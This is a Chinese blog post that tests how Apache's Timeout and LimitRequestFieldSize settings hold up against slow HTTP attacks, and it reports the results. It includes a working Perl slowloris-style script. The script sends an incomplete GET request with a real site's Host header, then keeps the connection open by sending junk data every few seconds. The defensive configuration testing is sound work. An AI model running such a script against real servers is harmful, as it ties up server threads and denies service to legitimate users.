Chinaunix首页 | 论坛 | 博客
  • 博客访问: 465738
  • 博文数量: 104
  • 博客积分: 3455
  • 博客等级: 中校
  • 技术积分: 1216
  • 用 户 组: 普通用户
  • 注册时间: 2009-01-18 18:33
文章分类

全部博文(104)

文章存档

2015年(3)

2014年(1)

2013年(7)

2012年(8)

2011年(11)

2010年(18)

2009年(56)

我的朋友

分类: LINUX

2011-11-07 18:56:52

那晚和安全的同事一起搞慢攻击测试,发现apache的这个参数很关键,能阻挡部分慢攻击.
但官方解释不太清楚,简单验证了一下具体含义.

timeout官方解析

我的理解是这个超时参数只是前后两次tcp传输包的间隔,如果大于这个间隔,apache就主动关闭tcp连接.
(中文文档翻译有出入,被坑爹了)
-------------------------------------------------------------------------
httpd.conf设置:
Timeout 10

(1)测试原理:写个脚本与apache三次握手建立tcp连接之后,发送一个不完整的http GET请求,也就是最后的一个"\r\n"不传送,然后每隔5秒发送一个垃圾包.
测试结果:该apache线程一直被这个连接hold住,在大致过了2分钟才返回400错误(Size of a request header field exceeds server limit),断开tcp连接.
注意:这儿返回400是 LimitRequestFieldSize 这个参数的作用,这个参数默认为 8k,表示最多能接收的request header的大小,因为我一直在发垃圾包,所以最终导致request header大于了这个默认值,apache返回了400.(这儿的响应时间跟包的流量有关)

(2)测试方法同(1),不过间隔时间改为 15s 发送一个包,大于timetout的设置.
测试结果:该apache线程10s后就返回了400错误,断开tcp连接. 响应时间与设置的timeout值相同.

结论:
(1)timeout并不是接受一个GET请求耗费的总时间,而只是指两个tcp包之间的超时时间.
(2)如果客户端以小于timeout的时间间隔一直发错误包,这个apache线程将被一直hold住,直到LimitRequestFieldSize所指大小.
 
测试代码
  1. #!/usr/bin/perl -w
  2. use strict;
  3. use Socket;
  4. use IO::Handle;
  5. use threads;
  6. sub connect {
  7.     my $host = '172.23.181.160';
  8.     my $port = '80';
  9.     my $protocol = getprotobyname('TCP');
  10.     $host = inet_aton($host);
  11.     socket(SOCK, AF_INET, SOCK_STREAM, $protocol) or die ;
  12.     my $dest_addr = sockaddr_in($port, $host);
  13.     connect(SOCK, $dest_addr) or die;
  14.     SOCK->autoflush(1);
  15. # print SOCK "POST /member/login.jhtml HTTP/1.1\r\nHost:login.taobao.com\r\nContent-Length: 100\r\n\r\n";
  16.     print SOCK "GET /member/login.jhtml HTTP/1.1\r\nHost:login.taobao.com\r\n";
  17.     while (1) {
  18.          print SOCK "hello world!";
  19.          sleep(5);
  20.     }
  21.     close SOCK;
  22. }
  23. my $child = 0;
  24. for ( my $i = 0; $i< 1; $i++) {
  25.           $child = threads->new(\&connect);
  26. }
  27. $child->join;
阅读(5406) | 评论(1) | 转发(1) |
0

上一篇:小酒怡情

下一篇:Connection Queue

给主人留下些什么吧!~~

wait_rabbit2011-11-09 21:07:48

很不错啊,就是要自己找问题并解决,如果能够精通网络,同样非常无敌。我都不会写perl了。